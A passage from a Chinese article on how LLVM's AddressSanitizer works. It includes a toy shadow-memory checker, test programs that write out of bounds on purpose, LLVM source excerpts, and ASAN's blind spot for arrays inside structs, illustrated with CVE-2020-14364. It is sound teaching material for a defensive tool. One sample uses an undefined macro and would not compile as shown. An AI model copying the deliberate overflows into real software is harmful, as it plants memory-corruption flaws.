0x7fffffffdfba: 0x00 0x00 0x43 0x00 0x00 0x00 0xa0 0x11
(gdb)
```
可以看到这里已经越界写数据成功了.一般地,我们要检测越界读写问题时,就需要专门创建一块内存用来做越界对比.下面的示例代码将引入检测逻辑:
```c
#include <memory.h>
#include <stdio.h>
#include <stdlib.h>
#define CHECK_MEMORY_LEFT_SIZE (0x8)
#define CHECK_MEMORY_RIGHT_SIZE (0x8)
#define CHECK_MEMORY_NORMAL_FLAG (0x00)
#define CHECK_MEMORY_EXCEPT_FLAG (0xFF)
void* create_check_memory(int buffer_size) { // 创建内存映射,并且给这块映射内存两则边缘
int real_buffer_size =
CHECK_MEMORY_LEFT_SIZE + CHECK_MEMORY_RIGHT_SIZE + buffer_size;
char* buffer = malloc(real_buffer_size);
memset(buffer,CHECK_MEMORY_EXCEPT_FLAG,real_buffer_size); // 填充异常Flag
memset(&buffer[CHECK_MEMORY_LEFT_SIZE],CHECK_MEMORY_NORMAL_FLAG,buffer_size); // 内存中标识为正常值则说明这块区域是可以任意操作的
return buffer;
}
void free_check_memory(void* buffer,int buffer_size) { // 释放内存
memset(buffer,CHECK_MEMORY_FREE_FLAG,
CHECK_MEMORY_LEFT_SIZE + CHECK_MEMORY_RIGHT_SIZE + buffer_size); // 不要free()释放,而是填充异常Flag,后续如果遇到UAF类漏洞就可以检测到
}
int is_overflow(void* buffer,int offset,int is_write) { // 检测内存异常
unsigned char data = ((unsigned char*)buffer)[CHECK_MEMORY_LEFT_SIZE + offset];
if (CHECK_MEMORY_NORMAL_FLAG != data) {
switch (data) {
case CHECK_MEMORY_EXCEPT_FLAG:
if (is_write)
printf(" ==== Write OverFlow !! ====\n");
else
printf(" ==== Read OverFlow !! ====\n");
break;
case CHECK_MEMORY_FREE_FLAG:
printf(" ==== Use After Free !! ====\n");
break;
default:
printf("Unknow Except\n");
}
exit(0);
}
return 0;
}
int main() {
char buffer[10] = {0};
char* shadow_buffer = create_check_memory(sizeof(buffer)); // 为buffer变量创建检测映射内存
if (is_overflow(shadow_buffer,5,0)) // 向真实内存中写入数据之前先到检测内存中判断是否有异常
exit(0);
int data = buffer[5]; // 正常的读操作
printf("Try Crash!\n");
if (is_overflow(shadow_buffer,10,1))
exit(0);
buffer[10] = 'C'; // 异常的写操作
printf("Oops \n");
free_check_memory(shadow_buffer,sizeof(buffer));
return 1;
}
```
运行结果如下:
```sh
ubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ clang -g ./test_case_2.c -o ./test_case_2 && ./test_case_2
Try Crash!
==== Write OverFlow !! ====
ubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$
```
这短短几十行代码就是ASAN异常检测的核心原理,它包含了:
* 每个缓冲区中对应的异常检测内存,对应的是ASAN的Shadow Table概念.
* 每个异常检测内存中都会插入正常/异常标识,对应的是ASAN的投毒(Poison)概念.
* 每次进行真实内存操作之前必须获取异常检测内存的内容,判断该地址是否被投毒过,对应的是ASAN的插桩检测概念.
聪明的读者可能会提出这个疑问:因为在异常检测内存的左边和右边八字节范围的内存被污染过,如果读写的偏移足够大,是不是检测逻辑就失效了呢?很遗憾,确实会存在这样的问题.
```text
(gdb) x /8x buffer
0x4052a0: 0xffffffff 0xffffffff 0x00000000 0x00000000
0x4052b0: 0xffff0000 0xffffffff 0x0000ffff 0x00000000
```
笔者在现实场景中遇到ASAN也存在这样的问题.
```c
#include <stdio.h>
int main(void) {
char buffer[10] = {0};
printf("no crash!\n");
buffer[0x1001] = 0xFF;
printf("crash!\n");
buffer[10] = 0xFF;
return 0;
}
```
```sh
ubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ clang -g -fsanitize=address ./test_case_3.c -o ./test_case_3 && ./test_case_3
no crash!
crash!
=================================================================
==521485==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffb261710a at pc 0x0000004c50f9 bp 0x7fffb26170d0 sp 0x7fffb26170c8
WRITE of size 1 at 0x7fffb261710a thread T0
#0 0x4c50f8 in main /home/ubuntu/Desktop/instrument_note/./test_case_3.c:12:16
#1 0x7f54faa5dcb1 in __libc_start_main csu/../csu/libc-start.c:314:16
#2 0x41b2bd in _start (/home/ubuntu/Desktop/instrument_note/test_case_3+0x41b2bd)
Address 0x7fffb261710a is located in stack of thread T0 at offset 42 in frame
#0 0x4c4f5f in main /home/ubuntu/Desktop/instrument_note/./test_case_3.c:5
...
```
理解核心原理之后,接下来就探索LLVM怎么样实现ASAN.在深入ASAN实现之前,我们必须要知道的一点就是:ASAN分为两部分,插桩(Instrumentation Pass)和运行时逻辑(Compiler-RT).
代码插桩负责:
* 在代码中符合条件的数据操作之前插入异常检测逻辑.
* 引入对全局/栈空间的检测逻辑.
运行时逻辑负责:
* 内存分配/投毒逻辑
* 内存操作hook
* ...
明白这些概念之后,直接逆向简单的ASAN插桩后的程序,代码如下:
```c
int __cdecl main(int argc, const char **argv, const char **envp){
if ( _asan_option_detect_stack_use_after_return )
v24 = (_QWORD *)_asan_stack_malloc_3(0LL, (__asan *)0x180);
stack_point = v24;
if ( !v24 )
stack_point = (_QWORD *)((unsigned __int64)(&v11 - 48) & 0xFFFFFFFFFFFFFFE0LL);
stack_point_ = (unsigned __int64)stack_point;
v25 = stack_point;
*stack_point = 0x41B58AB3LL; // 填充栈开始Magic Code
*(_QWORD *)(stack_point_ + 8) = "1 32 272 4 test";
*(_QWORD *)(stack_point_ + 0x10) = main;
shadow_memory = stack_point_ >> 3;
*(_QWORD *)(shadow_memory + 0x7FFF8000) = 0xF8F8F8F8F1F1F1F1LL; // 对ShadowTable中分配的栈内存进行投毒
*(_QWORD *)(shadow_memory + 0x7FFF8008) = 0xF8F8F8F8F8F8F8F8LL;
*(_QWORD *)(shadow_memory + 0x7FFF8010) = 0xF8F8F8F8F8F8F8F8LL;
*(_QWORD *)(shadow_memory + 0x7FFF8018) = 0xF8F8F8F8F8F8F8F8LL;
*(_QWORD *)(shadow_memory + 0x7FFF8020) = 0xF3F3F8F8F8F8F8F8LL;
*(_QWORD *)(shadow_memory + 0x7FFF8028) = 0xF3F3F3F3F3F3F3F3LL;
v26 = 0;
*(_QWORD *)(shadow_memory + 0x7FFF8004) = 0LL; // 初始化可用栈区域
*(_QWORD *)(shadow_memory + 0x7FFF800C) = 0LL;
*(_QWORD *)(shadow_memory + 0x7FFF8014) = 0LL;
*(_QWORD *)(shadow_memory + 0x7FFF801C) = 0LL;
*(_WORD *)(shadow_memory + 0x7FFF8024) = 0;
v7 = *(_BYTE *)(((unsigned __int64)(real_data_ + 0x22) >> 3) + 0x7FFF8000);
v13 = (unsigned __int64)(real_data_ + 0x22); // 计算偏移,获取到ShadowTable中的内存
v12 = v7;
if ( v7 ) // ASAN内存异常检测插桩判断,内存中是0值表示为正常内存,可以使用,如果为非0值那就认为是被污染过的
_asan_report_store1(v13); // 提示报错
*(_BYTE *)v13 = -1; // 写入真实内存,注意,ShadowTable中的数据全部都是标识这块内存是否被污染过,用了什么方式污染,并不会保存真实的数据到ShadowTable中,所以它才被称为影子页表.
v8 = v21;
*(_QWORD *)((char *)v21 + 4) = 0xF8F8F8F8F8F8F8F8LL; // 释放栈时不是直接free(),而是填充Stack use after标志
*(_QWORD *)((char *)v8 + 12) = 0xF8F8F8F8F8F8F8F8LL;
*(_QWORD *)((char *)v8 + 20) = 0xF8F8F8F8F8F8F8F8LL;
*(_QWORD *)((char *)v8 + 28) = 0xF8F8F8F8F8F8F8F8LL;
*((_WORD *)v8 + 18) = -1800;
return 0;
```
#### 编译时插桩原理
ASAN的插桩原理比SanitizerCoverage复杂得多,为了容易理解,后续分析实现过程时会省略很多细节.ASAN的插桩过程简单来说就是:
1. 筛选合适的指令
2. 填充插桩代码
3. 进行栈平衡
整体的逻辑示意图如下,先理解过程之后再带着印象去探索源码才能事半功倍:

ASAN的实现代码在\llvm-project\llvm\lib\Transforms\Instrumentation\AddressSanitizer.cpp.遍历每个函数进行插桩的入口点在`AddressSanitizer::instrumentFunction()`函数.
```c++
bool AddressSanitizer::instrumentFunction(Function &F,const TargetLibraryInfo *TLI) {
// 省略代码
SmallVector<InterestingMemoryOperand, 16> OperandsToInstrument;
SmallVector<MemIntrinsic *, 16> IntrinToInstrument;
SmallVector<BasicBlock *, 16> AllBlocks;
int NumAllocas = 0;
// 这些Vector用于保存筛选出来的指令对象和信息
for (auto &BB : F) { // 遍历BasicBlock
AllBlocks.push_back(&BB);
for (auto &Inst : BB) { // 遍历指令
SmallVector<InterestingMemoryOperand, 1> InterestingOperands;
getInterestingMemoryOperands(&Inst, InterestingOperands);
if (!InterestingOperands.empty()) { // 如果当前指令属于需要插桩的位置,那就记录一下,后面会用到
for (auto &Operand : InterestingOperands) {
OperandsToInstrument.push_back(Operand);
}
} else if (MemIntrinsic *MI = dyn_cast<MemIntrinsic>(&Inst)) { // memset/memcpy/memmove操作
IntrinToInstrument.push_back(MI);
}
}
}
// ...
for (auto &Operand : OperandsToInstrument) { // 对数据访问指令进行操作
instrumentMop(ObjSizeVis, Operand, UseCalls,
F.getParent()->getDataLayout());
FunctionModified = true;
}
for (auto Inst : IntrinToInstrument) { // 对内存操作指令进行操作
instrumentMemIntrinsic(Inst);
FunctionModified = true;
}
FunctionStackPoisoner FSP(F, *this);
bool ChangedStack = FSP.runOnFunction(); // 对插桩之后的函数进行栈调整
// ...
return FunctionModified;
}
void AddressSanitizer::getInterestingMemoryOperands(
Instruction *I, SmallVectorImpl<InterestingMemoryOperand> &Interesting) {
if (LoadInst *LI = dyn_cast<LoadInst>(I)) { // LLVM IR Load指令,用于读取数据
if (ignoreAccess(LI->getPointerOperand())) // 判断指令中的操作数是否为指针
return;
Interesting.emplace_back(I, LI->getPointerOperandIndex(), false,
LI->getType(), LI->getAlign());
} else if (StoreInst *SI = dyn_cast<StoreInst>(I)) { // LLVM IR Store指令,用于保存数据
if (ignoreAccess(SI->getPointerOperand()))
return;
Interesting.emplace_back(I, SI->getPointerOperandIndex(), true,
SI->getValueOperand()->getType(), SI->getAlign());
}
}
```
获得筛选出来的指令后,接下来就进行插桩操作.下面的插桩核心原理,就是在**Load/Store**指令前面插入异常检测逻辑,如果没有异常才可以执行真实的数据读写操作.
```c++
void AddressSanitizer::instrumentMop(ObjectSizeOffsetVisitor &ObjSizeVis,InterestingMemoryOperand &O, bool UseCalls,const DataLayout &DL) {
Value *Addr = O.getPtr(); // 获取指令操作的指针地址
// ...
unsigned Granularity = 1 << Mapping.Scale; // 内存检测粒度,后续再详解
doInstrumentAddress(this, O.getInsn(), O.getInsn(), Addr, O.Alignment,
Granularity, O.TypeSize, O.IsWrite, nullptr, UseCalls,
Exp);
}
static void doInstrumentAddress(AddressSanitizer *Pass, Instruction *I,
Instruction *InsertBefore, Value *Addr,
MaybeAlign Alignment, unsigned Granularity,
uint32_t TypeSize, bool IsWrite,
Value *SizeArgument, bool UseCalls,
uint32_t Exp) {
if ((TypeSize == 8 || TypeSize == 16 || TypeSize == 32 || TypeSize == 64 ||
TypeSize == 128) &&
(!Alignment || *Alignment >= Granularity || *Alignment >= TypeSize / 8))
return Pass->instrumentAddress(I, InsertBefore, Addr, TypeSize, IsWrite,
nullptr, UseCalls, Exp); // 如果当前指令的访问方式是按字节大小访问的话(char,short,long,uint64_t这些方式)
Pass->instrumentUnusualSizeOrAlignment(I, InsertBefore, Addr, TypeSize,
IsWrite, nullptr, UseCalls, Exp);
}
void AddressSanitizer::instrumentAddress(Instruction *OrigIns,Instruction *InsertBefore, Value *Addr,uint32_t TypeSize, bool IsWrite,Value *SizeArgument, bool UseCalls,uint32_t Exp) {
bool IsMyriad = TargetTriple.getVendor() == llvm::Triple::Myriad;
IRBuilder<> IRB(InsertBefore); // LLVM IR指令生成器
Value *AddrLong = IRB.CreatePointerCast(Addr, IntptrTy);
size_t AccessSizeIndex = TypeSizeToSizeIndex(TypeSize);
Type *ShadowTy =
IntegerType::get(*C, std::max(8U, TypeSize >> Mapping.Scale));
Type *ShadowPtrTy = PointerType::get(ShadowTy, 0);
Value *ShadowPtr = memToShadow(AddrLong, IRB);
Value *CmpVal = Constant::getNullValue(ShadowTy);
Value *ShadowValue =
IRB.CreateLoad(ShadowTy, IRB.CreateIntToPtr(ShadowPtr, ShadowPtrTy));
Value *Cmp = IRB.CreateICmpNE(ShadowValue, CmpVal);
Instruction *CrashTerm = nullptr;
/*
上面这段指令生成的意思是创建if判断:
shadow_page_flag = *(_BYTE *)((((unsigned __int64)real_data + 0x1001) >> 3) + 0x7FFF8000);
real_data_offset = (unsigned __int64)real_data + 0x1001;
if ( shadow_page_flag ) // ASAN内存异常检测插桩判断
*/
CrashTerm = SplitBlockAndInsertIfThen(Cmp, InsertBefore, !Recover);
Instruction *Crash = generateCrashCode(CrashTerm, AddrLong, IsWrite, AccessSizeIndex, SizeArgument, Exp);
/*
上面这段指令生成的意思是if判断成功时,在它的子BasicBlock中创建函数调用:
_asan_report_store1(v13); // 提示报错
所以合并起来插桩代码就是:
shadow_page_flag = *(_BYTE *)((((unsigned __int64)real_data + 0x1001) >> 3) + 0x7FFF8000);
real_data_offset = (unsigned __int64)real_data + 0x1001;
if ( shadow_page_flag ) // ASAN内存异常检测插桩判断
_asan_report_store1(real_data_offset); // 提示报错
*/
}
```
对所有关键位置进行插入了异常判断后,最后一步就是调整函数的栈空间,把ShadowTable的分配和销毁引入进来.
```c++
bool AddressSanitizer::instrumentFunction() {
// ...
FunctionStackPoisoner FSP(F, *this);
bool ChangedStack = FSP.runOnFunction();
// ...
}
bool runOnFunction() {
// ...
// 遍历函数中所有指令,筛选出内存分配操作
for (BasicBlock *BB : depth_first(&F.getEntryBlock())) visit(*BB);
// ...
processDynamicAllocas();
processStaticAllocas();
// ...
return true;
}
void visitAllocaInst(AllocaInst &AI) { // 遍历指令时遇到AllocaInst,它的意义是在栈内分配指定大小内存
if (!AI.isStaticAlloca()) // 只要在当前函数声明的变量,无论在if/switch/while/for里面哪个BasicBlock,编译时都会把这块内存的申请放到函数的入口BasicBlock中.isStaticAlloca的用意就在于判断这个AllocInst是否在当前函数的入口BasicBlock中执行,而且还判断AllocInst创建的内存大小的值是否会变而不是指定的大小.
DynamicAllocaVec.push_back(&AI);
else
AllocaVec.push_back(&AI);
}
void visitIntrinsicInst(IntrinsicInst &II) {
bool DoPoison = (ID == Intrinsic::lifetime_end);
AllocaPoisonCall APC = {&II, AI, SizeValue, DoPoison};
if (AI->isStaticAlloca()) // 同上
StaticAllocaPoisonCallVec.push_back(APC); // 记录栈中分配对象大小和偏移信息
else if (ClInstrumentDynamicAllocas)
DynamicAllocaPoisonCallVec.push_back(APC);
}
```
`processDynamicAllocas()`的逻辑就不深入探索了,我们主要研究的是`processStaticAllocas()`函数的实现.
```c++
void FunctionStackPoisoner::processStaticAllocas() {
// ...
Instruction *InsBefore = AllocaVec[0];
IRBuilder<> IRB(InsBefore); // 在函数的第一个AllocaInst指令前插入新代码
SmallVector<ASanStackVariableDescription, 16> SVD;
SVD.reserve(AllocaVec.size());
for (AllocaInst *AI : AllocaVec) { // 遍历所有在函数入口点声明的AllocaInst指令,收集这些AllocaInst指令的信息
ASanStackVariableDescription D = {AI->getName().data(),
ASan.getAllocaSizeInBytes(*AI),
0,
AI->getAlignment(),
AI,
0,
0};
SVD.push_back(D);
}
size_t Granularity = 1ULL << Mapping.Scale; // 内存粒度,后面再具体说明
size_t MinHeaderSize = std::max((size_t)ASan.LongSize / 2, Granularity);
const ASanStackFrameLayout &L =
ComputeASanStackFrameLayout(SVD, Granularity, MinHeaderSize); // 调整ASAN插桩后的整个栈布局
uint64_t LocalStackSize = L.FrameSize; // 获取调整之后的栈布局大小
Value *StaticAlloca =
DoDynamicAlloca ? nullptr : createAllocaForLayout(IRB, L, false); // 调整新栈空间,这块栈内存是真实使用的
Value *FakeStack;
Value *LocalStackBase;
Value *LocalStackBaseAlloca;
uint8_t DIExprFlags = DIExpression::ApplyOffset;
LocalStackBaseAlloca =
IRB.CreateAlloca(IntptrTy, nullptr, "asan_local_stack_base");
Constant *OptionDetectUseAfterReturn = F.getParent()->getOrInsertGlobal(
kAsanOptionDetectUseAfterReturn, IRB.getInt32Ty());
Value *UseAfterReturnIsEnabled = IRB.CreateICmpNE(
IRB.CreateLoad(IRB.getInt32Ty(), OptionDetectUseAfterReturn),
Constant::getNullValue(IRB.getInt32Ty()));
Instruction *Term =
SplitBlockAndInsertIfThen(UseAfterReturnIsEnabled, InsBefore, false);
IRBuilder<> IRBIf(Term);
StackMallocIdx = StackMallocSizeClass(LocalStackSize);
assert(StackMallocIdx <= kMaxAsanStackMallocSizeClass);
Value *FakeStackValue =
IRBIf.CreateCall(AsanStackMallocFunc[StackMallocIdx],
ConstantInt::get(IntptrTy, LocalStackSize));
IRB.SetInsertPoint(InsBefore);
FakeStack = createPHI(IRB, UseAfterReturnIsEnabled, FakeStackValue, Term,
ConstantInt::get(IntptrTy, 0));
Value *NoFakeStack =
IRB.CreateICmpEQ(FakeStack, Constant::getNullValue(IntptrTy));
Term = SplitBlockAndInsertIfThen(NoFakeStack, InsBefore, false);
IRBIf.SetInsertPoint(Term);
Value *AllocaValue =
DoDynamicAlloca ? createAllocaForLayout(IRBIf, L, true) : StaticAlloca;
IRB.SetInsertPoint(InsBefore);
LocalStackBase = createPHI(IRB, NoFakeStack, AllocaValue, Term, FakeStack);
IRB.CreateStore(LocalStackBase, LocalStackBaseAlloca);
// 生成的插桩代码等价于:
// void *FakeStack = __asan_option_detect_stack_use_after_return
// ? __asan_stack_malloc_N(LocalStackSize)
// : nullptr;
// void *LocalStackBase = (FakeStack) ? FakeStack : alloca(LocalStackSize);
// 意思是从ShadowTable中分配一块栈内存,这块栈内存是用于异常检测的.__asan_stack_malloc_N()的实现代码在Compiler-RT.
Value *LocalStackBaseAllocaPtr =
isa<PtrToIntInst>(LocalStackBaseAlloca)
? cast<PtrToIntInst>(LocalStackBaseAlloca)->getPointerOperand()
: LocalStackBaseAlloca; // 获取ShadowTable中的栈起始地址
for (const auto &Desc : SVD) { // 根据AllocaInst的申请栈分配内存大小和位置,在ShadowTable中重新调整到对应的位置
AllocaInst *AI = Desc.AI;
Value *NewAllocaPtr = IRB.CreateIntToPtr(
IRB.CreateAdd(LocalStackBase, ConstantInt::get(IntptrTy, Desc.Offset)),
AI->getType());
AI->replaceAllUsesWith(NewAllocaPtr);
}
// 这些插桩代码都不太重要,意义就是在ShadowTable中创建的栈内存记录当前函数的信息
Value *BasePlus0 = IRB.CreateIntToPtr(LocalStackBase, IntptrPtrTy);
IRB.CreateStore(ConstantInt::get(IntptrTy, kCurrentStackFrameMagic),
BasePlus0);
// Write the frame description constant to redzone[1].
Value *BasePlus1 = IRB.CreateIntToPtr(
IRB.CreateAdd(LocalStackBase,
ConstantInt::get(IntptrTy, ASan.LongSize / 8)),
IntptrPtrTy);
GlobalVariable *StackDescriptionGlobal =
createPrivateGlobalForString(*F.getParent(), DescriptionString,
/*AllowMerging*/ true, kAsanGenPrefix);
Value *Description = IRB.CreatePointerCast(StackDescriptionGlobal, IntptrTy);
IRB.CreateStore(Description, BasePlus1);
// Write the PC to redzone[2].
Value *BasePlus2 = IRB.CreateIntToPtr(
IRB.CreateAdd(LocalStackBase,
ConstantInt::get(IntptrTy, 2 * ASan.LongSize / 8)),
IntptrPtrTy);
IRB.CreateStore(IRB.CreatePointerCast(&F, IntptrTy), BasePlus2);
const auto &ShadowAfterScope = GetShadowBytesAfterScope(SVD, L); // 根据SVD中记录栈中各个变量对应的内存位置初始化ShadowTable的栈内存
Value *ShadowBase = ASan.memToShadow(LocalStackBase, IRB); // ASan.memToShadow()用于计算进程内存在ShadowTable的偏移位置
copyToShadow(ShadowAfterScope, ShadowAfterScope, IRB, ShadowBase); // 21给函数栈内存投毒
if (!StaticAllocaPoisonCallVec.empty()) { // 2.对栈中分配的变量在ShadowTable中消毒
const auto &ShadowInScope = GetShadowBytes(SVD, L);
for (const auto &APC : StaticAllocaPoisonCallVec) {
const ASanStackVariableDescription &Desc = *AllocaToSVDMap[APC.AI];
assert(Desc.Offset % L.Granularity == 0);
size_t Begin = Desc.Offset / L.Granularity;
size_t End = Begin + (APC.Size + L.Granularity - 1) / L.Granularity;
IRBuilder<> IRB(APC.InsBefore);
copyToShadow(ShadowAfterScope,
APC.DoPoison ? ShadowAfterScope : ShadowInScope, Begin, End,
IRB, ShadowBase);
}
}
/*
投毒再消毒后,ShadowTable的内存数据布局如下:
1.ShadowTable分配栈后对内存投毒 => F3F3F8F8F1F1F1F1
2.对栈中需要用到的变量位置消毒 => F3F30000F1F1F1F1
此时访问栈变量,获取到的数据就是0x00,为正常数据访问;如果是不允许访问的话,那就必定不为0
*/
SmallVector<uint8_t, 64> ShadowClean(ShadowAfterScope.size(), 0);
SmallVector<uint8_t, 64> ShadowAfterReturn;
for (auto Ret : RetVec) {
IRBuilder<> IRBRet(Ret);
// Mark the current frame as retired.
IRBRet.CreateStore(ConstantInt::get(IntptrTy, kRetiredStackFrameMagic),
BasePlus0);
// 简单总结就是在函数返回时清空ShadowTable中的栈数据为0xF5
// if FakeStack != 0 // LocalStackBase == FakeStack
// // In use-after-return mode, poison the whole stack frame.
// if StackMallocIdx <= 4
// // For small sizes inline the whole thing:
// memset(ShadowBase, kAsanStackAfterReturnMagic, ShadowSize);
// **SavedFlagPtr(FakeStack) = 0
// else
// __asan_stack_free_N(FakeStack, LocalStackSize)
// else
// <This is not a fake stack; unpoison the redzones>
Value *Cmp =
IRBRet.CreateICmpNE(FakeStack, Constant::getNullValue(IntptrTy));
Instruction *ThenTerm, *ElseTerm;
SplitBlockAndInsertIfThenElse(Cmp, Ret, &ThenTerm, &ElseTerm);
IRBuilder<> IRBPoison(ThenTerm);
if (StackMallocIdx <= 4) {
int ClassSize = kMinStackMallocSize << StackMallocIdx;
ShadowAfterReturn.resize(ClassSize / L.Granularity,
kAsanStackUseAfterReturnMagic);
copyToShadow(ShadowAfterReturn, ShadowAfterReturn, IRBPoison,
ShadowBase);
Value *SavedFlagPtrPtr = IRBPoison.CreateAdd(
FakeStack,
ConstantInt::get(IntptrTy, ClassSize - ASan.LongSize / 8));
Value *SavedFlagPtr = IRBPoison.CreateLoad(
IntptrTy, IRBPoison.CreateIntToPtr(SavedFlagPtrPtr, IntptrPtrTy));
IRBPoison.CreateStore(
Constant::getNullValue(IRBPoison.getInt8Ty()),
IRBPoison.CreateIntToPtr(SavedFlagPtr, IRBPoison.getInt8PtrTy()));
} else {
// For larger frames call __asan_stack_free_*.
IRBPoison.CreateCall(
AsanStackFreeFunc[StackMallocIdx],
{FakeStack, ConstantInt::get(IntptrTy, LocalStackSize)});
}
IRBuilder<> IRBElse(ElseTerm);
copyToShadow(ShadowAfterScope, ShadowClean, IRBElse, ShadowBase);
}
}
```
ASAN的实现中有大量的内存分配/操作功能,很显然,如果通过Pass模块把这些函数插入到Module会让Pass非常臃肿,所以ASAN把它的一些核心功能写在了Compiler-RT中,让Clang在链接阶段引入它们.
#### LLVM-CompilerRT与ASAN内置函数
实际上,ASAN在程序运行main()之前就会执行初始化,ASAN把`asan_module_ctor()`函数地址写到.init_array区段,当程序启动时执行`__libc_csu_init()`函数时就会执行`asan_module_ctor()`初始化ASAN内部运行环境.
```assembly
.init_array:00000000004F65D8 ; ELF Initialization Function Table
.init_array:00000000004F65D8 ; ===========================================================================
.init_array:00000000004F65D8
.init_array:00000000004F65D8 ; Segment type: Pure data
.init_array:00000000004F65D8 ; Segment permissions: Read/Write
.init_array:00000000004F65D8 ; Segment alignment 'qword' can not be represented in assembly
.init_array:00000000004F65D8 _init_array segment para public 'DATA' use64
.init_array:00000000004F65D8 assume cs:_init_array
.init_array:00000000004F65D8 ;org 4F65D8h
.init_array:00000000004F65D8 __init_array_start dq offset asan_module_ctor // ASAN初始化函数
.init_array:00000000004F65D8 ; DATA XREF: __libc_csu_init+6↑o
.init_array:00000000004F65E0 __frame_dummy_init_array_entry dq offset frame_dummy
.init_array:00000000004F65E8 dq offset _GLOBAL__sub_I_asan_rtl_cpp
.init_array:00000000004F65E8 _init_array ends
.fini_array:00000000004F65F0 __init_array_end dq offset asan_module_dtor
```
接下来,`__asan_init()`就会初始化.代码目录在\llvm-project\compiler-rt\lib\asan\asan_activation.cpp.
```c++
void __asan_init() {
AsanActivate();
AsanInitInternal();
}
void AsanActivate() {
asan_deactivated_flags.OverrideFromActivationFlags(); // 从环境变量ASAN_ACTIVATION_OPTIONS中获取ASAN配置
SetCanPoisonMemory(asan_deactivated_flags.poison_heap);
SetMallocContextSize(asan_deactivated_flags.malloc_context_size);
ReInitializeAllocator(asan_deactivated_flags.allocator_options);
}
static void AsanInitInternal() {
InitializeHighMemEnd();
InitializeShadowMemory();
AllocatorOptions allocator_options;
allocator_options.SetFrom(flags(), common_flags());
InitializeAllocator(allocator_options);
InitializeCoverage(common_flags()->coverage, common_flags()->coverage_dir);
}
```
这只是Compiler-RT ASAN功能的小部分,还有更多有趣的细节读者们可以自行探索.
#### ASAN检测结构体的Bug
笔者在实际场景中发现了个这样问题:**ASAN对结构体内的buffer溢出是不支持检测的**.举个例子:
```c
#include <stdlib.h>
#include <stdio.h>
#define BUFFER_MAX (0x10)
typedef struct {
int a;
char buffer[BUFFER_MAX];
int b;
int c;
} no_check;
typedef struct {
int a;
char* buffer;
int b;
int c;
} check;
int main() {
no_check test_obj1 = {0};
check test_obj2 = {};
printf("no crash!\n");
test_obj1.buffer[BUFFER_MAX] = 0xFF;
printf("crash!\n");
test_obj2.buffer = malloc(BUFFER_MAX);
test_obj2.buffer[BUFFER_MAX] = 0xFF;
return 0;
}
```
```sh
ubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ clang -fsanitize=address ./test_case_6.c -o ./test_case_6 && ./test_case_6
no crash!
crash!
=================================================================
==529347==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000020 at pc 0x0000004c51f4 bp 0x7ffe84ee9fb0 sp 0x7ffe84ee9fa8
WRITE of size 1 at 0x602000000020 thread T0
#0 0x4c51f3 in main (/home/ubuntu/Desktop/instrument_note/test_case_6+0x4c51f3)
#1 0x7f99e1bb6cb1 in __libc_start_main csu/../csu/libc-start.c:314:16
#2 0x41b2bd in _start (/home/ubuntu/Desktop/instrument_note/test_case_6+0x41b2bd)
...
```
ASAN为什么会检测失败呢?简单地说,ASAN认为struct结构体是一块连续的内存,即使在内部出现了**char[]**这样的连续数组,即使是触发越界都不会认为是错误.那么我们来看一个真实的例子,qemu usb模块越权读写漏洞CVE-2020-14364.
```c
struct USBDevice {
DeviceState qdev;
// ...
int32_t state;
uint8_t setup_buf[8];
uint8_t data_buf[4096];
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;
USBEndpoint ep_ctl;
USBEndpoint ep_in[USB_MAX_ENDPOINTS];
USBEndpoint ep_out[USB_MAX_ENDPOINTS];
// ...
};
```
对data_buf进行越界操作,此时ASAN就无法检测出来漏洞了.qemu的设备对象大部分都是这样声明的,所以就导致即使fuzzer跑出了漏洞,ASAN仍然认为是*正常的*.
为了解决这个问题,笔者重新对ASAN的插桩代码进行修改,核心思想是:
1. 插桩阶段遍历所有GetElementPtrInst指令,如果指令中存在`char[]`这种Array型变量,那么就在该结构体最后创建新字段用于保存该buffer在ShadowTable中的映射.然后再调整结构体中新字段偏移,让`instrumentMop()`生成的插桩检测逻辑使用ShadowTable中的分配内存来检测而不是原来的结构体内存.
2. 栈平衡阶段对所有结构体中新创建的字段保存`malloc()`分配的内存,此时越界是可以被内存检测的.
修改过后的Demo效果如下:

## 实战中ASAN会有哪些坑
#### libasan库缺失如何解决?
使用ASAN时有概率会出现下面的问题.
```sh
$ g++ -O -g -fsanitize=address heap-use-after-free.cpp
/usr/bin/ld: cannot find /usr/lib64/libasan.so.0.0.0
collect2: error: ld returned 1 exit status
```
这是因为在链接阶段没有找到libasan库,前文提到,ASAN的运行时函数是封装在Compiler-RT库中的.所以在正常的编译环境下它会在/usr/lib中出现.
```sh
fuzzing@fuzzing-virtual-machine:~/Desktop/test_code$ find /usr/ | grep libasan
/usr/share/doc/libasan5
/usr/share/doc/libasan6
/usr/lib/gcc/x86_64-linux-gnu/8/libasan_preinit.o
/usr/lib/gcc/x86_64-linux-gnu/8/libasan.a
/usr/lib/gcc/x86_64-linux-gnu/8/libasan.so
/usr/lib/gcc/x86_64-linux-gnu/10/libasan_preinit.o
/usr/lib/gcc/x86_64-linux-gnu/10/libasan.a
/usr/lib/gcc/x86_64-linux-gnu/10/libasan.so
/usr/lib/x86_64-linux-gnu/libasan.so.5
/usr/lib/x86_64-linux-gnu/libasan.so.6
/usr/lib/x86_64-linux-gnu/libasan.so.6.0.0
/usr/lib/x86_64-linux-gnu/libasan.so.5.0.0
```
找不到libasan库有两种解决方法:
* 联网环境下,使用`sudo apt install libasan`即可安装.
* 非联网环境下,找到LLVM Compiler-RT的源码下载编译并`make install`即可.
#### 模糊测试中遇到老旧不维护的库一直产生崩溃,怎么样让ASAN屏蔽对它的检测?
对于这类一直让ASAN产生崩溃但是不知道如何修复的代码,我们可以使用ASAN的黑名单来禁止对这些指定的函数插桩,甚至只对某几个特定的函数做插桩检测.详情参考官方文档 https://clang.llvm.org/docs/SanitizerSpecialCaseList.html
#### ASAN有哪些常用设置?
ASAN_OPTIONS
https://github.com/google/sanitizers/wiki/AddressSanitizerFlags
#### Shadow Table内存粒度有什么意义?
Shadow Table需要分配一块比较大的内存,用于对程序对的堆和栈做映射.这块内存能够映射的大小是有限的,所以就需要找到一种方式在尽可能少的内存里面保存更多的内存映射.举个例子:
```text
FF FF FF FF 00 00 00 00 00 00 00 00 FF FF FF FF
```
